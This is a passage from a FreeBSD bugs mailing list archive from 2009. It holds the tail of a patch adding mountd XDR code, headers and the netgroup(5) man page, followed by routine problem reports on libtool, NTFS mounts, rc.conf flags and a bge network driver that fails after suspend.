syslog(LOG_WARNING, "xdr_mntlist: xdr_bool failed"); + return (FALSE); + +xdr_string_failed: + syslog(LOG_WARNING, "xdr_mntlist: xdr_string failed"); + return (FALSE); +} + +/* + * XDR conversion for a file system path. + */ +int +xdr_path(XDR *xdrs, char *path) +{ + if (xdr_string(xdrs, &path, RPCMNT_PATHLEN)) + return (TRUE); + syslog(LOG_WARNING, "xdr_path: xdr_string failed"); + return (FALSE); +} + +/* + * XDR routine for generating brief or complete information + * about exported file systems. + */ +static int +xdr_export_common(XDR *xdrs, const int brief) +{ + static char addr_brief[] = "(...)"; + + const struct fs_exp_list *fe_list; + const struct addr_exp_list *ae_list; + struct addr_exp *ae; + struct fs_exp *fe; + char *str; + u_int family; + bool_t true, false; + + false = FALSE; + if (no_mntproc_export) + goto done; + true = TRUE; + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + if (!(fe->oflags & OPT_EXPORTED) || + (fe->oflags & OPT_NO_MNT_EXP) || + fe->no_mnt_exp == fe->nspec) + continue; + if (!xdr_bool(xdrs, &true)) + goto xdr_bool_failed; + if (!xdr_string(xdrs, &fe->path, RPCMNT_PATHLEN)) + goto xdr_string_failed; + if (brief) { + if (!xdr_bool(xdrs, &true)) + goto xdr_bool_failed; + str = addr_brief; + if (!xdr_string(xdrs, &str, RPCMNT_PATHLEN)) + goto xdr_string_failed; + } else if (fe->ae_def == NULL) { + for (family = AF_INET, ae_list = &fe->ae4_list;;) { + TAILQ_FOREACH_REVERSE(ae, ae_list, + addr_exp_list, link) { + if (ae->oflags & + (OPT_DENY|OPT_NO_MNT_EXP)) + continue; + if (!xdr_bool(xdrs, &true)) + goto xdr_bool_failed; + str = addr_spec_str(family, + ae->addr_spec); + if (!xdr_string(xdrs, &str, + RPCMNT_NAMELEN)) + goto xdr_string_failed; + } + if (ae_list == &fe->ae6_list) + break; + family = AF_INET6; + ae_list = &fe->ae6_list; + } + } + if (!xdr_bool(xdrs, &false)) + goto xdr_bool_failed; + } +done: + if (xdr_bool(xdrs, &false)) + return (TRUE); + +xdr_bool_failed: + syslog(LOG_WARNING, "xdr_export_common: xdr_bool failed"); + return (FALSE); + +xdr_string_failed: + syslog(LOG_WARNING, "xdr_export_common: xdr_string failed"); + return (FALSE); +} + +/* + * XDR routine for generating complete information + * about exported file systems. + */ +/* ARGSUSED1 */ +int +xdr_export_compl(XDR *xdrs, char *cp __unused) +{ + return (xdr_export_common(xdrs, 0)); +} + +/* + * XDR routine for generating brief information + * about exported file systems. + */ +/* ARGSUSED1 */ +int +xdr_export_brief(XDR *xdrs, char *cp __unused) +{ + return (xdr_export_common(xdrs, 1)); +} diff -ruN empty/mountd_xdr.h mountd/mountd_xdr.h --- empty/mountd_xdr.h 1970-01-01 03:00:00.000000000 +0300 +++ mountd/mountd_xdr.h 2009-06-26 14:12:42.000000000 +0300 @@ -0,0 +1,54 @@ +/*- + * Copyright (c) 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Herb Hasler and Rick Macklem at The University of Guelph. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD:$ + */ + +#ifndef MOUNTD_XDR_H +#define MOUNTD_XDR_H + +/* + * An argument for xdr_fhs(). + */ +struct fhreturn { + u_int fhr_vers; /* Service protocol version. */ + nfsfh_t fhr_fh; /* File handle from getfh(). */ + u_int fhr_nsec; /* Number of security flavors. */ + int *fhr_sec; /* Security flavors. */ +}; + +extern int xdr_fhs(XDR *, char *); +extern int xdr_mntlist(XDR *, char *); +extern int xdr_path(XDR *, char *); +extern int xdr_export_compl(XDR *, char *); +extern int xdr_export_brief(XDR *, char *); + +#endif /* !MOUNTD_XDR_H */ diff -ruN empty/netgroup.5 mountd/netgroup.5 --- empty/netgroup.5 1970-01-01 03:00:00.000000000 +0300 +++ mountd/netgroup.5 2009-06-01 12:12:57.000000000 +0300 @@ -0,0 +1,199 @@ +.\" Copyright (c) 1992, 1993 +.\" The Regents of the University of California. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" 4. Neither the name of the University nor the names of its contributors +.\" may be used to endorse or promote products derived from this software +.\" without specific prior written permission. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND +.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +.\" SUCH DAMAGE. +.\" +.\" @(#)netgroup.5 8.2 (Berkeley) 12/11/93 +.\" $FreeBSD: src/usr.sbin/mountd/netgroup.5,v 1.14 2005/01/18 20:02:38 ru Exp $ +.\" +.Dd December 11, 1993 +.Dt NETGROUP 5 +.Os +.Sh NAME +.Nm netgroup +.Nd defines network groups +.Sh SYNOPSIS +.Nm +.Sh DESCRIPTION +The +.Nm +file +specifies +.Dq netgroups , +which are sets of +.Sy (host, user, domain) +tuples that are to be given similar network access. +.Pp +Each line in the file +consists of a netgroup name followed by a list of the members of the +netgroup. +Each member can be either the name of another netgroup or a specification +of a tuple as follows: +.Bd -literal -offset indent +(host, user, domain) +.Ed +.Pp +where the +.Sy host , +.Sy user , +and +.Sy domain +are character string names for the corresponding component. +Any of the comma separated fields may be empty to specify a +.Dq wildcard +value or may consist of the string +.Ql - +to specify +.Dq no valid value . +The members of the list may be separated by whitespace and/or commas; +the +.Ql \e +character may be used at the end of a line to specify +line continuation. +Lines are limited to 1024 characters. +The functions specified in +.Xr getnetgrent 3 +should normally be used to access the +.Nm +database. +.Pp +Lines that begin with a +.Ql # +are treated as comments. +.Sh NIS/YP INTERACTION +On most other platforms, +.Nm Ns s +are only used in conjunction with +.Tn NIS +and local +.Pa /etc/netgroup +files are ignored. +With +.Fx , +.Nm Ns s +can be used with either +.Tn NIS +or local files, but there are certain +caveats to consider. +The existing +.Nm +system is extremely inefficient where +.Fn innetgr 3 +lookups are concerned since +.Nm +memberships are computed on the fly. +By contrast, the +.Tn NIS +.Nm +database consists of three separate maps (netgroup, netgroup.byuser +and netgroup.byhost) that are keyed to allow +.Fn innetgr 3 +lookups to be done quickly. +The +.Fx +.Nm +system can interact with the +.Tn NIS +.Nm +maps in the following ways: +.Bl -bullet -offset indent +.It +If the +.Pa /etc/netgroup +file does not exist, or it exists and is empty, or +it exists and contains only a +.Sq + , +and +.Tn NIS +is running, +.Nm +lookups will be done exclusively through +.Tn NIS , +with +.Fn innetgr 3 +taking advantage of the netgroup.byuser and +netgroup.byhost maps to speed up searches. +(This +is more or less compatible with the behavior of SunOS and +similar platforms.) +.It +If the +.Pa /etc/netgroup +exists and contains only local +.Nm +information (with no +.Tn NIS +.Sq + +token), then only the local +.Nm +information will be processed (and +.Tn NIS +will be ignored). +.It +If +.Pa /etc/netgroup +exists and contains both local netgroup data +.Pa and +the +.Tn NIS +.Sq + +token, the local data and the +.Tn NIS +netgroup +map will be processed as a single combined +.Nm +database. +While this configuration is the most flexible, it +is also the least efficient: in particular, +.Fn innetgr 3 +lookups will be especially slow if the +database is large. +.El +.Sh FILES +.Bl -tag -width /etc/netgroup -compact +.It Pa /etc/netgroup +the netgroup database +.El +.Sh COMPATIBILITY +The file format is compatible with that of various vendors, however it +appears that not all vendors use an identical format. +.Sh SEE ALSO +.Xr getnetgrent 3 +.Sh BUGS +The interpretation of access restrictions based on the member tuples of a +netgroup is left up to the various network applications. +Also, it is not obvious how the domain specification +applies to the +.Bx +environment. +.Pp +The +.Nm +database should be stored in the form of a +hashed +.Xr db 3 +database just like the +.Xr passwd 5 +database to speed up reverse lookups. diff -ruN empty/pathnames.h mountd/pathnames.h --- empty/pathnames.h 1970-01-01 03:00:00.000000000 +0300 +++ mountd/pathnames.h 2009-06-26 14:12:43.000000000 +0300 @@ -0,0 +1,41 @@ +/* + * Copyright (c) 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)pathnames.h 8.1 (Berkeley) 6/5/93 + * $FreeBSD: src/usr.sbin/mountd/pathnames.h,v 1.2 2004/08/07 04:27:51 imp Exp $ + */ + +#ifndef MOUNTD_PATHNAMES_H +#define MOUNTD_PATHNAMES_H + +#define _PATH_EXPORTS "/etc/exports" +#define _PATH_RMOUNTLIST "/var/db/mountdtab" +#define _PATH_MOUNTDPID "/var/run/mountd.pid" +#define _PATH_MOUNTD_CTLSOCKET "/var/run/mountd.socket" + +#endif /* !MOUNTD_PATHNAMES_H */ ######################################################################### >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 13:30:04 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 30E501065678 for ; Fri, 17 Jul 2009 13:30:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 0B6748FC2A for ; Fri, 17 Jul 2009 13:30:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HDU3ZG049257 for ; Fri, 17 Jul 2009 13:30:03 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6HDU3Wb049254; Fri, 17 Jul 2009 13:30:03 GMT (envelope-from gnats) Resent-Date: Fri, 17 Jul 2009 13:30:03 GMT Resent-Message-Id: <200907171330.n6HDU3Wb049254@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Robert Collins Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6E9DF106566C for ; Fri, 17 Jul 2009 13:29:11 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 42DF28FC08 for ; Fri, 17 Jul 2009 13:29:11 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HDT9Om063333 for ; Fri, 17 Jul 2009 13:29:09 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6HDT92u063332; Fri, 17 Jul 2009 13:29:09 GMT (envelope-from nobody) Message-Id: <200907171329.n6HDT92u063332@www.freebsd.org> Date: Fri, 17 Jul 2009 13:29:09 GMT From: Robert Collins To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136867: libtool port is out of date X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 13:30:04 -0000 >Number: 136867 >Category: misc >Synopsis: libtool port is out of date >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jul 17 13:30:03 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Robert Collins >Release: >Organization: >Environment: >Description: Libtool upstream is 2.2.6, ports has 1.5.26 >How-To-Repeat: Try to build from VCS any software using libtool 2 features, like specific language support. >Fix: Add a libtool 2 port/upgrade the libtool port. >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 15:50:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 951BB1065688 for ; Fri, 17 Jul 2009 15:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 562E88FC1C for ; Fri, 17 Jul 2009 15:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HFo2OU058055 for ; Fri, 17 Jul 2009 15:50:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6HFo2Wr058054; Fri, 17 Jul 2009 15:50:02 GMT (envelope-from gnats) Resent-Date: Fri, 17 Jul 2009 15:50:02 GMT Resent-Message-Id: <200907171550.n6HFo2Wr058054@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, SE Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6D75F1065672 for ; Fri, 17 Jul 2009 15:42:49 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 5C7B78FC17 for ; Fri, 17 Jul 2009 15:42:49 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HFgmrj045374 for ; Fri, 17 Jul 2009 15:42:48 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6HFgmj2045373; Fri, 17 Jul 2009 15:42:48 GMT (envelope-from nobody) Message-Id: <200907171542.n6HFgmj2045373@www.freebsd.org> Date: Fri, 17 Jul 2009 15:42:48 GMT From: SE To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136873: Missing directories/files on NTFS volume X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 15:50:02 -0000 >Number: 136873 >Category: kern >Synopsis: Missing directories/files on NTFS volume >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jul 17 15:50:01 UTC 2009 >Closed-Date: >Last-Modified: >Originator: SE >Release: 7.2 >Organization: SE >Environment: FreeBSD gg.gg.gg 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Fri May 1 08:49:13 UTC 2009 root@walker.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 >Description: Mounted a NTFS volume with mount_ntfs with read-only option. When doing a ls -al there are missing directories/files. The ls does show some files/directories... A through k but files after that do not show up in the listing. Might be related to this bug (kern/71774) but even using the mount "-a" option for shortnames does not work (the files still don't appear). Have verified that the NTFS volume was marked clean Also, when trying to "ls" a known directory that doesn't appear the ls command reports "Argument list too long". >How-To-Repeat: mount_ntfs -o ro /dev/da0s1 /tmp/ntfsvolume ls -al /tmp/ntfsvolume/win/Documents\ and\ Settings/user/Desktop/ ls /tmp/ntfsvolume/win/Documents\ and\ Settings/user/Desktop/stuff ls: /tmp/ntfsvolume/win/Documents\ and\ Settings/user/Desktop/stuff: Argument list too long >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 19:30:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EEF5B10656B8 for ; Fri, 17 Jul 2009 19:30:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id B019C8FC2B for ; Fri, 17 Jul 2009 19:30:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HJU220027612 for ; Fri, 17 Jul 2009 19:30:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6HJU2xm027611; Fri, 17 Jul 2009 19:30:02 GMT (envelope-from gnats) Resent-Date: Fri, 17 Jul 2009 19:30:02 GMT Resent-Message-Id: <200907171930.n6HJU2xm027611@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Ruud Althuizen Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 17720106564A for ; Fri, 17 Jul 2009 19:26:47 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 067D68FC0C for ; Fri, 17 Jul 2009 19:26:47 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HJQksX054312 for ; Fri, 17 Jul 2009 19:26:46 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6HJQk2r054311; Fri, 17 Jul 2009 19:26:46 GMT (envelope-from nobody) Message-Id: <200907171926.n6HJQk2r054311@www.freebsd.org> Date: Fri, 17 Jul 2009 19:26:46 GMT From: Ruud Althuizen To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136875: _flags appending X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 19:30:03 -0000 >Number: 136875 >Category: misc >Synopsis: _flags appending >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Fri Jul 17 19:30:02 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Ruud Althuizen >Release: 7.2-STABLE >Organization: >Environment: FreeBSD hyde.il.fontys.nl 7.2-STABLE FreeBSD 7.2-STABLE #0: Fri Jun 12 00:01:27 CEST 2009 root@hyde.il.fontys.nl:/usr/obj/usr/src/sys/HYDE i386 >Description: When configuring software in /etc/rc.conf I sometimes find that I want to append something to _flags instead of overwriting it. This may be the case for long lines or lines where the defaults are sensible but just missing stuff. For example in the mailgraph rc-script, the default is: : ${mailgraph_flags="--logfile /var/log/maillog --daemon-rrd=/var/db/mailgraph --ignore-localhost --daemon --daemon-pid=${mailgraph_pidfile}" I just want the '--rbl-is-spam' flag added. In this case another problem occurs, predefined variables are used (the pidfile). So that would mean I need to define both or define them in one go. >How-To-Repeat: >Fix: I propose to have /etc/rc.subr line 594 (eval rc_flags=\$${name}_flags) expanded to include something like \$${name}_flags_append >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 21:00:13 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0675B106566C for ; Fri, 17 Jul 2009 21:00:13 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id D2D108FC16 for ; Fri, 17 Jul 2009 21:00:12 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HL0CIZ096050 for ; Fri, 17 Jul 2009 21:00:12 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6HL0CK4096049; Fri, 17 Jul 2009 21:00:12 GMT (envelope-from gnats) Resent-Date: Fri, 17 Jul 2009 21:00:12 GMT Resent-Message-Id: <200907172100.n6HL0CK4096049@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Adam K Kirchhoff Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 921211065675 for ; Fri, 17 Jul 2009 20:52:58 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 666EC8FC12 for ; Fri, 17 Jul 2009 20:52:58 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HKqwjh020236 for ; Fri, 17 Jul 2009 20:52:58 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6HKqw4c020235; Fri, 17 Jul 2009 20:52:58 GMT (envelope-from nobody) Message-Id: <200907172052.n6HKqw4c020235@www.freebsd.org> Date: Fri, 17 Jul 2009 20:52:58 GMT From: Adam K Kirchhoff To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136876: bge will not resume properly after suspend X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 21:00:13 -0000 >Number: 136876 >Category: misc >Synopsis: bge will not resume properly after suspend >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jul 17 21:00:12 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Adam K Kirchhoff >Release: 8.0-BETA1 >Organization: >Environment: FreeBSD scroll.ashke.com 8.0-BETA1 FreeBSD 8.0-BETA1 #0: Tue Jul 14 09:02:26 EDT 2009 root@:/usr/obj/usr/src/sys/SCROLL i386 >Description: When I resume my laptop from suspend, bge0 is no longer usable: Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 0, val 32768) Jul 14 12:35:53 scroll kernel: bge0: PHY read timed out (phy 1, reg 0, val 0xffffffff) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 24, val 3072) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 23, val 10) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 21, val 12555) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 23, val 8223) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 21, val 38150) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 23, val 16415) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 21, val 5346) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 24, val 1024) Jul 14 12:35:53 scroll kernel: bge0: PHY write timed out (phy 1, reg 24, val 7) And so on and so forth. I thought that compiling if_bge as a module, unloading it before suspend, and reloading it after resume, might get this working. However, doing a "kldload if_bge" after the resume does nothing. Well, the module gets loaded, but the device doesn't show up. No errors from kldload, and there is nothing new in dmesg. Before the suspend, the device shows up as: bge0@pci0:2:0:0: class=0x020000 card=0x01821028 chip=0x167714e4 rev=0x01 hdr=0x00 vendor = 'Broadcom Corporation' device = 'NetXtreme Gigabit Ethernet PCI Express (BCM5750A1)' class = network subclass = ethernet After resuming, and reloading the module, it's: none1@pci0:2:0:0: class=0x020000 card=0x01821028 chip=0x167714e4 rev=0x01 hdr=0x00 vendor = 'Broadcom Corporation' device = 'NetXtreme Gigabit Ethernet PCI Express (BCM5750A1)' class = network subclass = ethernet Following a suggestion by Paul Mahol, I set the following via sysctl: hw.pci.do_power_nodriver="3" hw.pci.do_power_resume="1" Then I unloaded if_bge, unloaded snd_ich, reloaded snd_ich, suspended, resumed, and loaded if_bge. In this situation, my entire machine locks up solid after displaying the following output: bge0: mem 0xdfdf0000-0xdfdfffff irq 16 at device 0.0 on pci2 There is no kernel panic, just a complete system hang. >How-To-Repeat: Install 8.0-BETA1 on a laptop with bge (specifically, a Dell Latitude D610, but since someone else has reported the same problem, I imagine this is not limited to just that model), then suspend and resume. >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 04:26:59 2009 Return-Path: 